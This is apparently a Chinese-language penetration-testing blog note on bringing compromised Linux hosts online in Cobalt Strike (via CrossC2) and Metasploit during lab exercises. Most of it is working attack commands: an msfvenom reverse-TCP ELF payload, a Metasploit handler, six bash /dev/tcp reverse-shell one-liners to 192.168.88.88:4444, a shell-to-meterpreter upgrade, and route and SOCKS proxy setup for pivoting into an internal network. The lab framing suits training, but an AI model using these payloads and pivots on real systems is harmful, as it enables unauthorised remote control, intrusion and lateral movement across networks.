渗透过程中遇到Windows环境比较多,习惯了上线CS和MSF进行操作。打靶场的时候拿到Linux权限后有点蒙,不知掉咋上线和添加代理了。这里记录一下常用的上线方式。

0x01 Cobalt strike

很早就听说过CrossC2项目,具体安装方法可以参考官方文档。根据项目说明,目前功能还不是很完善,不支持socks代理和TCP正向连接等功能。简易使用流程如下:

1.建立一个C2的HTTPS的listener,(测试发现基于TCP的listener回连失败)
2.生成恶意文件,将恶意文件上传至目标靶机运行上线
3.开启web服务,目标靶机远程下载恶意文件运行上线

  1. 恶意文件
    生成一个基于C2的HTTPS的listener,需提前建一个CS的监听

生成时有几点需要注意

1.keys文件需要从CS服务端下载到本地,该文件隐藏看不见
2.Listener一栏选择提前建立的CS的监听
3.若点击build生成文件失败,需要给genCrossC2.MacOS文件执行权限


之后将生成的out文件上传至目标机器执行即可

  1. 利用Web Delivery
    和windows上线的方法是一样的,打开一个WEB服务,目标系统下载恶意文件并执行。
    有几点需要注意

1.需提前建一个C2的listener
2.Type根据目标系统选择


之后在目标靶机上直接执行生成的代码即可上线

0x02 MSF

上线思路和CS一样,比较好的一点是在上线后能方便的添加内网路由和socks代理。

  1. 恶意文件
    首先利用msf生成木马文件,指定回连的VPS的IP和端口
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4446 -f elf > shell.elf

msf监听等待回连,将木马文件上传至目标靶机运行即可回连

  1. bash反连
    首先还是建立监听等待回连
handler -H XX.XX.XX.XX -P 4447 -p  linux/x64/shell/reverse_tcp -n msf_linux_bash

之后在目标机器上执行如下命令即可,(任选一条)

echo 'bash -i >& /dev/tcp/192.168.88.88/4444 0>&1' | bash
sh -i >& /dev/tcp/192.168.88.88/4444 0>&1
bash -i >& /dev/tcp/192.168.88.88/4444 0>&1
bash -c '0<&31-;exec 31<>/dev/tcp/192.168.88.88/4444;sh <&31 >&31 2>&31'
bash -c '0<&168-;exec 168<>/dev/tcp/192.168.88.88/4444;sh <&168 >&168 2>&168'
bash -c '0<&168-;exec 168<>/dev/tcp/192.168.88.88/4444;bash <&168 >&168 2>&168'

这样获取的session其实就是目标靶机的bash。需要转换到meterpreter上才能进一步操作

use post/multi/manage/shell_to_meterpreter
set lhost   192.168.88.88
set lport   4448
set session 2
run

0x03 MSF添加路由和代理

很多情况下需要利用靶机做跳板将MSF带进内网进行扫描,这时就需要添加路由(去192.168.52网段的流量都会通过session 3进行代理),这时就可以利用MSF进行C段扫描了。

route add 192.168.52.0/24 3
route print

此时,若其他工具也要进行代理,就需要添加socks。(可以看到能自己指定代理的端口和socks版本)

use auxiliary/server/socks_proxy
set srvport 10006
run


最后,在MSF上添加完Socks代理并正确配置本地proxychains之后,就能成功地将工具代理进入内网了

0x04 套上CDN的CS使用C2插件

由于C2插件目前功能不完善,套上CDN后无法进行回连,占坑待填....